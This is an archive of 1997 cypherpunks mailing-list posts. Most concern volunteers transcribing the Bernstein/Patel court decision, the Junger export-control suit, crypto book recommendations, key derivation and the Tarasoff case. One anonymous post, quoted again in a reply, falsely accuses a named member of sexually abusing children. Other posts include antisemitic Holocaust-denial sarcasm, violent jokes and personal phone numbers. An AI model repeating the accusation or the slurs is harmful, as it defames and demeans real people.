- A'Tak A'Tdorn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Sat, 30 Aug 1997 13:50:31 +0800
To: cypherpunks@toad.com
Subject: Patel decision pages 7 and 8 handled
Message-ID: <19970830054001.7793.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 30 Aug 1997 18:30:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: U.S. Refugees Flee to Germany
Message-ID: <31644ca96a880795cfae11b0067696ff@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 9:46 AM 8/28/1997, Tim May wrote:
>At 8:20 AM -0700 8/28/97, Anonymous wrote:
>>~Now, the pages are back online on a small server in Germany. Organizers
>>of the site are raising funds to purchase their own direct connection to
>>the Net. However they don't want their computer to be in the US-- but
>>not because they plan to violate any US laws. "We are very nervous
>>about being here," says Jim Finn, who helps run the Free Spirits, "if
>>the government is going to use underhanded tactics to intimidate our
>>providers and possibly confiscate our equipment." In the course of
>>investigations, police frequently seize computers that they never
>>return, even when they file no charges.
>>
>>  Perhaps Germany should start building refugee camps for American
>>homosexuals, Jews, and producers of strong encryption.
>...
>
>I assume this is a joke, as Germany is one of the last places one would
>choose for a censorship-free site!

This should be a good candidate for the Eternity service.

They aren't in the search engines yet.  Anybody know how to reach
them?

>But I'll contact Jim Finn about hosting my "The So-Called Holocaust" Web
>page, which explains how the International Jew Conspiracy has succeeded in
>convincing the gullible that Jews were persecuted in the WW II, when all
>right-thinking Aryans know full well that they were coddled and rewarded
>and given choice vacation spots in "the East."

>Free Spirits should be an ideal host for this material.

Another good candidate for the Eternity service.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html
"I AM a number!  I am a free man!"

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNAZsoJaWtjSmRH/5AQFyjQf+ItcBLLcyIjXme/DKUuyI81UXL9yXmn5S
5uSjpYi+N5sKk7Q1AMkmI8LmgQPRbefJ3zFdgiLQjtzmL0iknhatAYUsy3YHxXOT
UmGTRdcJ8URv0jZF7Q7HibJ2owhvwpH5WnOXV3Vl08f2L+n/FypjqL7mbanJpa/s
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bfsosQXCYYGDU9pBSa+aCLK/aUosBJL1LX1foTAaWLXZEY5gnE28umUgJgebZOJq
MPRgqPqt4qNKHokZZdtdeesDITtiL5WsQnt7migDxg29xG4aokjY0A==
=F+zE
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Sat, 30 Aug 1997 21:06:19 +0800
To: cypherpunks@toad.com
Subject: Government Conspiracy
Message-ID: <19970830.065359.14119.9.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain




Timmy C. Mayflower sexually molests little children, farm 
animals, and inanimate objects.

     < >            < >
      V    )_.._(    V Timmy C. Mayflower
      \\   <____>   //
        ~ <______> ~      >
        /~\______/~\     //
        /~\_____/~\     /_\
        /~\____/~\     /_\
         /~\___/\~\  _/_\/
            \___/\__/__\/
              \___/__\/

There's something wrong when I'm a felon under an increasing number of
laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information
superhighway."


This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
<goddesshera@juno.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 30 Aug 1997 19:36:38 +0800
To: cypherpunks@toad.com
Subject: Re: U.S. Refugees Flee to Germany
Message-ID: <f5b1630188879d290027e7991e7b548a@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> This should be a good candidate for the Eternity service.
> 
> They aren't in the search engines yet.  Anybody know how to reach
> them?

These are the people who published the article:
The Guide <theguide@guidemag.com>

> Monty Cantsin
> Editor in Chief
> Smile Magazine
> http://www.neoism.org/squares/smile_index.html
> http://www.neoism.org/squares/cantsin_10.html
> "I AM a number!  I am a free man!"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Sat, 30 Aug 1997 15:27:27 +0800
To: cypherpunks@cyberpass.net
Subject: Patel decision pages 7 and 8 handled
Message-ID: <19970830072002.1354.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 30 Aug 1997 19:32:11 +0800
To: cypherpunks@toad.com
Subject: SSL Proxy
Message-ID: <TCPSMTP.17.8.30.7.39.32.2780269260.1782369@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Apparently the folks at LPWA.COM are checking into the possibility
of encrypting all sessions between the user and the lpwa-http-proxy
(ala SSL) as to prevent line-eavesdropping.

At this point, they're just playing with the idea and are trying to
figure out exactly how to accomplish that. Maybe we could do some
brain-storming and support them with that project...

Ciao

Harka

... "Use a Cipher - Be Free!"

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBNAeefTltEBIEF0MBAQE0Awf+JkFyHOvmBbymvvMS1eXUaD3M6LAeX6V1
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YCtefWu46j/eC220n7vpO+CqR2tSlyujaf/V4Np1cwx5B8frM2JYrvjh5rXrtXv0
ck8lg7PYwjRqI8pyTyTZz/ypqx8GX4wawXMT3TPnWpjF0LTamDslHhA3HNLEb7G9
y45QGgW042hH91CXG+aXpQJ6HKK8mAyMTintdB0Y0Qpz6hk9z10JvI1pkgdYh6ap
CdCsEcIRZdhG/xLhQ6xL4Ud3x+1ho9OIHbyrhXbrfSFubumLhg4njQ==
=E7oZ
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 30 Aug 1997 23:00:25 +0800
To: tcmay@got.net
Subject: Re: Quote of the day (fwd)
In-Reply-To: <v03102803b02d7fc5fe19@[207.167.93.63]>
Message-ID: <199708301453.HAA15920@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> 
> At 11:29 PM -0700 8/29/97, Bill Stewart wrote:
> >When is X-Day supposed to be?
> >
> >>----- Forwarded message from Quote of the day -----
> >>
> >>"I know the day it happens.  On August 29, 1997 it's going to feel
> >> pretty fucking real to you too.  Anybody not wearing two million sun
> >> block is going to have a real bad day.  Get it?"
> >>
> >> - Sarah Conner (played by Linda Hamilton), in Terminator 2: Judgement

[yea yea, we've all seen multiple copies of this]


> I don't know what you mean by "When is X-Day supposed to be?"

"X-day", in the credo of the Church of the Subgenuis, is
when the saved (people who have 'slack') are going to
be taken from the earth before it's destroyed, by 'pleasure saucers'
operated by Greys from Zeta Reticuli.  Or something like that.
Subgenius doctrine is hard to pin down since they're all
making it up as they go along.

X-day is supposed to be in 1998 some time, possibly April.

http://www.sunsite.unc.edu/subgenius/ has more info.

-- 
Eric Murray  Chief Security Scientist  N*Able Technologies  www.nabletech.com
(email:  ericm  at  lne.com   or   nabletech.com)          PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: miner <miner333@dogbert.xroads.com>
Date: Sun, 31 Aug 1997 00:34:33 +0800
To: cypherpunks@toad.com
Subject: patel pages 10,11,20,23 done
Message-ID: <Pine.BSI.3.96.970830092627.19872A-100000@dogbert.xroads.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sat, 30 Aug 1997 17:42:24 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <ngWKOKU5mPbAi4vyCzVXIw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin writes:

> This is an interesting competition for observers, bystanders, and
> citizens.  If the power structure is flexible, and incorporates
> changes that are viewed favorably by the citizens, then the power
> structure "wins".  But so do the citizens.
>
> When change doesn't happen, or especially when it goes in a direction
> undesired by the revolutionaries, but liked by the citizens, the
> effort to make current reality look bad intensifies.

Kent's theory OTOH is that any tyranny is fine as long as 51% of the 
citizens favor it.  The rest of us should pipe down and learn to live
with it.
 
Fortunately the authors of the US constitution didn't agree with this 
theory.


>                                                       When change
> irrevocably passes to an unwanted state, and the revolutionaries
> "lose", a residue of Bitter Old Revolutionary Extremists (BOREs)
> results.  These toothless old tigers, clinging to their youthful
> dreams, rage at a reality that passed them by.  Snarling and
> perpetually misunderstood, they wither and waste away, Cheshire cat
> evil grimace postcripts to history. 

Kent's been studying Youngbonics!  Still a ways to go
before he equals the master though.

Looking forward to the BORE wars...
BORE monger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sat, 30 Aug 1997 19:34:00 +0800
To: cypherpunks@toad.com
Subject: Patel decision page 32 handled
Message-ID: <199708300839.JAA01589@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
#### !!! PGP 5.0 beta available now at ftp.replay.com !!! ####





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 30 Aug 1997 22:05:57 +0800
To: cypherpunks@toad.com
Subject: Stay Motion Handled 1-5
Message-ID: <1.5.4.32.19970830134610.00721300@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We're banging away on the 20 Stay Motion images, up to page 5
of the USA's Ex Parte, will continue, and send along the pack
when done. Not to head off anyone who wants to start at the back
and MITM.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca (Leonard Janke)
Date: Sun, 31 Aug 1997 01:59:16 +0800
To: cypherpunks@toad.com
Subject: Top 10 Ways to Make a Grouchy Old CypherPunk Smile - #7
Message-ID: <m2bu2fo97u.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain




Top 10 Ways to Make a Grouchy Old CypherPunk Smile
--------------------------------------------------

#10) Find his shoes for him.
 
#9) Buy Kent Crispin a Dr. Kevorkian gift-certificate.

#8) Nuke Washington DC

#7) Send ten copies of this back to Vulis.

#6)

#5)

#4)

#3)

#2)
 
#1) [This space reserved for T.C. May]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 30 Aug 1997 23:08:05 +0800
To: cypherpunks@toad.com
Subject: Stay Motion Handled, All Pages
Message-ID: <1.5.4.32.19970830145247.0072e8f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've completed keying in the 20 Stay Motion images, and
are formatting and proofreading. Will send along when ready.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 31 Aug 1997 01:26:14 +0800
To: Anonymous Remailer <goddesshera@juno.com>
Subject: Re: Government Conspiracy
In-Reply-To: <19970830.065359.14119.9.goddesshera@juno.com>
Message-ID: <Pine.A41.3.95.970830111618.47122A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 30 Aug 1997, Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.
> 
> Timmy C. Mayflower sexually molests little children, farm 
> animals, and inanimate objects.
> 
>      < >            < >
>       V    )_.._(    V Timmy C. Mayflower
>       \\   <____>   //
>         ~ <______> ~      >
>         /~\______/~\     //
>         /~\_____/~\     /_\
>         /~\____/~\     /_\
>          /~\___/\~\  _/_\/
>             \___/\__/__\/
>               \___/__\/
> 
> There's something wrong when I'm a felon under an increasing number of
> laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,
> zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
> markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information
> superhighway."
> 
> 
> This message was automatically remailed. The sender is unknown, unlogged,
> and nonreplyable. Send complaints and blocking requests to
> <goddesshera@juno.com>.
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 31 Aug 1997 00:46:27 +0800
To: cypherpunks@toad.com
Subject: Re: Shrinks as Narcs for the State
In-Reply-To: <v03102809b02c194fc6a4@[207.167.93.63]>
Message-ID: <aNB0Be42w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> I know a psychologist/therapist who is very worried about this issue, as
> are his associates. His records are no longer his, as he must inform the
> insurance agencies who are paying for his services what the diagnosis of a
> patient is.


Of course, the patient can choose to pay cash for the psychiatrist's
advice and not use the insurance.

...
> Further, those who visit doctors and shrinks are at risk for other reasons.
> The State has decreed that they "narc out" (inform on) their patients. Cf.
> Tarasoff, for example, which requires a mental health care professional,
> counselor, or doctor to inform the State if a client makes certain kinds of
> threats. This threat may cause the client to be locked up for observation.

I just happen to have been reading up on the Tarasoff case the other day,
so I'll clarify something.

A student at U.C.berkeley named Prosenjit Poddar became obsessed with his
fellow student Tatiana tarasoff, whom she met at a folk dance lessons
at the Internastional House. She kissed him at a new year's party, which
he interpreted as a proof that she wanted him. He secretly audiotaped their
conversations and spliced the tape so it sounded like she's saying she
loves him.

Poddar's been harrassing Tarassoff something awful and she was fully
aware that he's a dangerous nut. She took a vacation (supposedly to
get away from Poddar); soon after she returned, he killed her.

Before the murder, Poddar had gone to the campus psychologist and told him
about his obsession with Tarasoff. The psychologist, based on what the parient
said 1) tried but failed to have him involuntarily committed 2) notified
the campus police who detained and released Poddar, based on what the
the therapost said Poddar told him.

Tarasoff's parents sued the therapist, U.C.Berkeley, campus police (for
freeing Poddar), etc, for the wrongful death. The claim against the
therapist was that he should have notified Tarasoff that Poddar is
obsessed with her, in addition to calling the cops on his patient,
which he did. (Of course she already knew that all too well. If
she carried a gun and knew how to use it, she might still be alive.)

The California Supreme Court wrote in Tarasoff vs. Board of Regents (1976)
that "the protective privilege ends where public peril begins" and that
clinicians are obliged to use reasonable care to protect the potential
victim of a patient's violence, which may include warning the victim.

The duty of the clinician to notify the State if the patient says, e.g.,
that he intends to smoke pot, doesn't flow from the Tarasoff decision.

> (Many think this is as it should be. But why is this so? We don't require
> non-doctors and non-shrinks to report such threats. If Joe Cypherpunk tells
> me at a Cypherpunks meeting he thinks Janet Reno should be blown up on her
> September 7th visit to San Jose, I am under no obligation whatsoever to
> assist the police in verifying what his real intentions are, or of
> cooperating in any way. So why should a psychiatrist become a secret agent
> for the State? We live in a police state.)

A related question is, suppose a criminal happens to be religious and
confesses to a priest that he committed a crime (smoked pot, or whatever).
He is subsequently arrested and mentions to the cops that he confessed
to the priest. (Assume that the guy is an idiot, or else he wouldn't be
going to church in the first place :-)

Can the priest be prosecuted for not telling the cops about the confession?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 31 Aug 1997 00:34:35 +0800
To: gnu@toad.com
Subject: Stay Pages Finished
Message-ID: <1.5.4.32.19970830161800.006c85ec@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The 20 images of the Stay have been digitized and formatted:

   http://jya.com/bernstein-stay.htm

Thanks again to Dan, the Bernstein primary team and EFF.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gav@fownes.demon.co.uk
Date: Sat, 30 Aug 1997 20:20:10 +0800
To: cypherpunks@Algebra.COM
Subject: FROM: Paul Bradley
Message-ID: <872942462.1313792.0@fownes.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Some of you may have noticed my absence from the list in the last few 
weeks, this is due to the box that runs fatmans loosing the magic 
smoke. I will be back on the list within the next few days. If anyone 
needs to contact me before then you can get me on +44 (0)1424 870921

Paul Bradley

Write soon

Gavin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 31 Aug 1997 06:09:58 +0800
To: "Myron Lewis" <mrlewis@keygen.com>
Subject: Re: ASK ToolKit Clarifications
In-Reply-To: <19970829133319.AAA17639@mrlewis.tiac.net>
Message-ID: <3.0.2.32.19970830141731.02fb96d4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:27 AM 8/29/97 -0400, Myron Lewis wrote:
>I know that the claims we make for the ASK ToolKit(TM) sound 
>a little too good to be true. 
...
>The ASK ToolKit does not do encryption.
>It only provides keys on demand for encryption. 

And his web page says
> you will be able to offer your customers the most secure applications
available.
>And they won't have to endure the pain of dealing with, 
>or spending the money for, key management systems.

The toolkit is fairly straightforward, if the descriptions are accurate.
Alice exchanges a secret with Bob somehow, and keeps track of 
which secret goes with which recipient, i.e. does the key management - 
either inside the toolkit, making the toolkit somewhat useful, 
or outside the toolkit, making the toolkit annoying to use.

At that point, Alice and Bob both have Secret(Alice,Bob),
and a counter N of the number of session keys they've generated.
When Alice wants to send Message to Bob, she uses the toolkit to calculate
	(SessionKey(N), Stuff2) = f(N, Secret(Alice,Bob),Alice,Bob,Stuff1)
and sends Bob (N,Stuff1,Stuff2,Alice,Bob) and E(Message,SessionKey(N)).

Having not licensed a copy of the toolkit, I don't know whether
Stuff1 and Stuff2 are transmitted, non-transmitted, or empty sets,
or whether the function f  maintains state other than N (if it does,
then Stuff1 and Stuff2 are the state variables, with Stuff1(N+1)==Stuff2(N).)

Some popular variants on this are
	f() = Hash(Secret,N)	
		(tends to leak)
	f() = Hash(N,Secret,N) or Hash(N,Hash(Secret,N)) or Hash(Secret,N,Secret)
	f() = Hash(SessionKey(N-1)) == Hash**N(Secret)	     
		(terrible - leaks badly.)
	f() = (Hash2(salt,Hash**N(Secret)), salt)    
		(much stronger if Hash2 is good.)

Then there's S/Key: f() = Hash**(M-N)(Secret) where M is a big number,
typically 100.
This works well for passwords, since you can easily verify that
Hash**N(f()) = Secret,
though it's dangerous for encryption passwords, since cracking one message
key cracks
all the previous messages. 

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sat, 30 Aug 1997 21:49:55 +0800
To: cypherpunks@toad.com
Subject: Patel decision, page 21 handled
Message-ID: <199708301330.OAA01773@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
#### !!! PGP 5.0 beta available now at ftp.replay.com !!! ####





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Sat, 30 Aug 1997 21:47:57 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <199708292351.QAA23568@toad.com>
Message-ID: <Pine.NEB.3.95.970830153851.214r-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 7 handled





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sun, 31 Aug 1997 04:14:35 +0800
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com>
Subject: Re: Shrinks as Narcs for the State
Message-ID: <199708302005.QAA28553@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 8/30/97 12:00 PM, Dr.Dimitri Vulis KOTM (dlv@bwalk.dm.com)  passed 
this wisdom:

>Can the priest be prosecuted for not telling the cops about the confession?

 Unless something has radically changed the sanctity of the Catholic 
confessional has never been breeched involuntarily ... i.e.,I do not 
believe that any court has ever successfully compelled a priest to 
divulge what he has heard in the confessional.

  Of course a problem lies in the construction of the question ... its 
easier to want to try to breech the confessional when you speak of a guy 
talking about killing a hundred people as opposed to a guy talking about 
stealing a candy bar. In various ethics discussions on this subject over 
the years it usually seems to comes down to the fact that morally the 
priest is bound to try to do something to stop the carnage without 
divulging what he was told.


Brian B. Riley --> http://www.macconnect.com/~brianbr
       For PGP Keys -  Send Email Subject "Get PGP Key"
  "When I die, please cast my ashes upon Bill Gates. For once, let him
    clean up after me! " -  Christian Worley






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Sat, 30 Aug 1997 22:14:09 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <199708292351.QAA23568@toad.com>
Message-ID: <Pine.NEB.3.95.970830160520.214s-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 8 handled





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@samsara.LAW.CWRU.Edu>
Date: Sun, 31 Aug 1997 04:39:13 +0800
To: Cypherpunks <Cindy@McGlashan.com>
Subject: Developments in the _Junger_ suit
Message-ID: <199708302035.QAA15015@samsara.LAW.CWRU.Edu>
MIME-Version: 1.0
Content-Type: text/plain




Now that Judge Patel has declared again in the _Bernstein_ case that
cryptographic software is entitled to the full protection of the First
Amendment, it is time for me to bring you up to date on some
developments on the Cleveland front.

To assist in the preparation of an amended complaint in my suit that,
like _Bernstein_, seeks to enjoin the enforcement of the export
regulations restricting publication of encryption software, my Legal
Attack Team on June 12 submitted several ``classification requests''
to the Department of Commerce in an effort to determine exactly what
is, and what is not, covered by the definition of encryption software 
set out in the Export Administration Regulations.

The Bureau of Export Aministration in the Department of Commerce
responded to these requests on or about July 4 and amplified their
response on or about August 7.  That response, though not generally
very helpful, did contain a number of surprises.  In particular, two
versions of a one-time pad encryption program using the XOR function
that I wrote in 8086 assembly language and machine code and a similar
OTP program written by Paul Leyland in one line of C, were classified
as EAR 99, which means that those programs are ``not subject to the
licensing restrictions for encryption software''.

No explanation was given as to why these programs implementing the one
unbreakable form of encryption are not classified as encryption
programs subject to ECCN 5D002.

More importantly, the classification requests included several pages
of HTML links to strong, unexportable encryption programs on several
FTP servers outside of the United States, but the Bureau of Export
Administration said that they were unable to classify that material,
and instead supplied us with an advisory opinion with respect to that
request saying:  ``Professor Junger's activity is not an export that
is subject to the Export Administration Regulations (EAR).''  The
Bureau subsequently amplified this response, saying:  ``While the use
of html links by a person might, in some applications, involve an
export . . . we reiterate that the activity described by your
submission is not an export activity that is subject to the EAR and
would also not constitute conduct prohibited by Section 744.9 of the
EAR.'' 

The Bureau did, however, classify several programs that we submitted,
including one written by me in C that implements several different
encryption algorithms and Adam Back's RSA program in three lines of
Perl (which is available at <http:/www.dcs.ex.ac.uk>), as being
encryption programs that are subject to the export restriction of the
EAR.

The most significant part of the Bureau's response, however, was their
professed inability to classify one way or the other all programs
implementing certain specified encryption algorithms such as, for
example, OTP programs that XOR the bytes comprising the message with
the bytes in a one-time pad.  The Bureau said as to this request:
``BXA cannot provide a single classification opinion for any
encryption product that `implemements' a certain algorithm''.

Due to the kindness of John Young, our requests for classification and
BXA's responses will be available shortly at <http://www.jya.com/>.
The links to cryptographic programs on FTP sites outside the United
States are already available at 
<http://samsara.law.cwru.edu/links/cryptolinks.html>.

Stay tuned for further announcements once this labor day weekend is
past.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 31 Aug 1997 07:56:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Crypto best book
In-Reply-To: <Pce8Be1w165w@bwalk.dm.com>
Message-ID: <v03102800b02e5fe550f6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:54 AM -0700 8/30/97, David E. Smith wrote:
>> > >           What is the best book about cryptography ?
>> >
>> > Although "best" is certainly subjective, Nine out of Ten Cypherpunks (TM)
>> > recommend Bruce Schneier's "Applied Cryptography."
>> >
>> > http://www.counterpane.com/applied.html
>>
>> Bruce did a lousy job on this book.
>>
>> If his is the first or the only book you read on the subject of
>> cryptography, your knowledge base will be seriously deficient.
>
>(shrug)
>
>I'm certainly no crypto expert, what with Bruce's book being among the very
>few texts I've read (that and a couple of grad-level crypto textbooks that
>ended up in the University library because we don't have a grad program in
>the computer science department).
>
>Recommendations, then?

You were given recommendations for Schneier's book. If you discount those
recommendations because of the opinion of one disgruntled reader, this is
your problem.

Schneier is a reasonable overview, with more of an emphasis on currently
coded algorithms than some of the more academic treatments have.  The
academic treatments are widely available, too, from amazon.com and other
bookstores.  They tend to be a decade or more old, and obviously lack
discussion of recent stuff. Denning, Meyer and Matyas, Brassard, etc. The
compendium of crypto articles edited by Gus Simmons is also pretty good.

It depends on one's interest. There are specialized number theory books,
manuals on how to use PGP (worthless, in my view, for various reasons), and
even books on digital cash.

But listen to what several people said about Schneier. Even if Vulis
dislikes it, it's still almost an "essential" book. And anyone at all
interested in crypto will likely end up with a bunch of books.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Sun, 31 Aug 1997 07:24:37 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Crypto best book
In-Reply-To: <Pce8Be1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.96.970830175334.24366C-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> > >           What is the best book about cryptography ?
> >
> > Although "best" is certainly subjective, Nine out of Ten Cypherpunks (TM)
> > recommend Bruce Schneier's "Applied Cryptography."
> >
> > http://www.counterpane.com/applied.html
> 
> Bruce did a lousy job on this book.
> 
> If his is the first or the only book you read on the subject of
> cryptography, your knowledge base will be seriously deficient.

(shrug)

I'm certainly no crypto expert, what with Bruce's book being among the very
few texts I've read (that and a couple of grad-level crypto textbooks that
ended up in the University library because we don't have a grad program in
the computer science department).

Recommendations, then?

dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Sun, 31 Aug 1997 01:28:46 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <199708292351.QAA23568@toad.com>
Message-ID: <Pine.NEB.3.95.970830191159.285B-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 35 handled





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Sun, 31 Aug 1997 01:50:20 +0800
To: cypherpunks@toad.com
Subject: Re: Want to help put Judge Patel's decision on the web?
In-Reply-To: <199708292351.QAA23568@toad.com>
Message-ID: <Pine.NEB.3.95.970830193850.285C-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain



Patel decision page 10 handled





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 31 Aug 1997 05:58:23 +0800
To: junger@samsara.LAW.CWRU.Edu
